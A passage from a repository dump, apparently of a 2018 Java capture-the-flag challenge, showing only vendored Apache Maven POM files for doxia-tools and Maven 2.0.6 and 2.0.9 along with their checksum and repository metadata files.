</configuration>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/doxia-sitetools-1.4.pom.sha1",
    "content": "09cf8365031618c2d39ea0118e1a75be6ba18b66"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:00 CST 2018\ndoxia-tools-2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/doxia-tools-2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>22</version>\n    <relativePath>../../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia-tools</artifactId>\n  <version>2</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia Tools</name>\n  <description>A set of tools for working with Doxia documents.</description>\n  <url>http://maven.apache.org/doxia/doxia-tools/</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://oldnabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Developer List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia User List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Commits List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announces</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-tools-2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-tools-2</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/doxia/doxia-tools/tags/doxia-tools-2</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIATOOLS</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/doxia-tools/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/doxia/doxia-tools</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <projectVersion>${project.version}</projectVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>2.0.5</version>\n      </dependency>\n      <dependency><!-- remove when upgrading parent to version 22 -->\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/doxia/doxia-tools/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n           </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/doxia-tools-2.pom.sha1",
    "content": "c13f811b01d98631ebe9131b63aeb6bded234aff"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:23 CST 2018\nmaven-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/maven-2.0.6.pom",
    "content": "<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>5</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n  <artifactId>maven</artifactId>\n  <packaging>pom</packaging>\n  <name>Maven</name>\n  <version>2.0.6</version>\n  <description>Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process.</description>\n  <url>http://maven.apache.org</url>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MNG</url>\n  </issueManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Users-f178.html</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <scm>\n    <connection>scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6</developerConnection>\n    <url>https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6</url>\n  </scm>\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/components/tags</tagBase>\n          </configuration>\n        </plugin>\n       <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0-alpha-13</version>\n          <executions>\n            <execution>\n              <id>site-docs</id>\n              <phase>pre-site</phase>\n              <goals>\n                <goal>xdoc</goal>\n                <goal>xsd</goal>\n              </goals>\n            </execution>\n            <execution>\n\n              <id>standard</id>\n              <goals>\n                <goal>java</goal>\n                <goal>xpp3-reader</goal>\n                <goal>xpp3-writer</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>        \n      </plugins>\n    </pluginManagement>\n  </build>\n  <modules>\n    <module>maven-artifact</module>\n    <module>maven-artifact-manager</module>\n    <module>maven-artifact-test</module>\n    <module>maven-core</module>\n    <module>maven-error-diagnostics</module>\n    <module>maven-model</module>\n    <module>maven-monitor</module>\n    <module>maven-plugin-api</module>\n    <module>maven-plugin-descriptor</module>\n    <module>maven-plugin-parameter-documenter</module>\n    <module>maven-plugin-registry</module>\n    <module>maven-profile</module>\n    <module>maven-project</module>\n    <module>maven-reporting</module>\n    <module>maven-repository-metadata</module>\n    <module>maven-script</module>\n    <module>maven-settings</module>\n  </modules>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n  <dependencyManagement>\n    <dependencies>\n      <!-- Maven -->\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.reporting</groupId>\n        <artifactId>maven-reporting-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-repository-metadata</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-manager</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact-test</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-settings</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-parameter-documenter</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-profile</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-registry</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-monitor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>      \n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-9-stable-1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.4.1</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-api</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-ssh-external</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-file</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-http-lightweight</artifactId>\n        <version>1.0-beta-2</version>\n      </dependency>\n      <dependency>\n        <groupId>easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>1.2_Java1.3</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>classworlds</groupId>\n        <artifactId>classworlds</artifactId>\n        <version>1.1</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/ref/${project.version}/</url>\n    </site>\n  </distributionManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/maven-2.0.6.pom.sha1",
    "content": "1991be0ed3e1820e135201406d5acabf8c08d426  maven-2.0.6.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:08 CST 2018\nmaven-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.9/maven-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>8</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <artifactId>maven</artifactId>\n  <version>2.0.9</version>\n  <packaging>pom</packaging>\n\n  <name>Maven</name>\n  <description>Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process.</description>\n  <url>http://maven.apache.org</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MNG</url>\n  </issueManagement>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9</developerConnection>\n    <url>https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.9</url>\n  </scm>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-5</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/components/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0-alpha-13</version>\n          <executions>\n            <execution>\n              <id>site-docs</id>\n              <phase>pre-site</phase>\n              <goals>\n                <goal>xdoc</goal>\n                <goal>xsd</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>standard</id>\n              <goals>\n                <goal>java</goal>\n                <goal>xpp3-reader</goal>\n                <goal>xpp3-writer</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <modules>\n    <module>maven-artifact</module>\n    <module>maven-artifact-manager</module>\n    <module>maven-artifact-test</module>\n    <module>maven-core</module>\n    <module>maven-error-diagnostics</module>\n    <module>maven-model</module>\n    <module>maven-monitor</module>\n    <module>maven-plugin-api</module>\n    <module>maven-plugin-descriptor</module>\n    <module>maven-plugin-parameter-documenter</module>\n    <module>maven-plugin-registry</module>\n    <module>maven-profile</module>\n    <module>maven-project</module>\n    <module>maven-reporting</module>\n    <module>maven-repository-metadata</module>\n    <module>maven-script</module>\n    <module>maven-settings</module>\n    <module>maven-toolchain</module>\n    <module>apache-maven</module>\n  </modules>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <mavenVersion>2.0.9</mavenVersion>\n    <!-- Can't use. bootstrap-mini isn't smart enough: <wagonVersion>1.0-beta-2</wagonVersion> -->\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- Maven -->\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-descriptor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-error-diagnostics</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.reporting</groupId>\n        <artifactId>maven-reporting-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        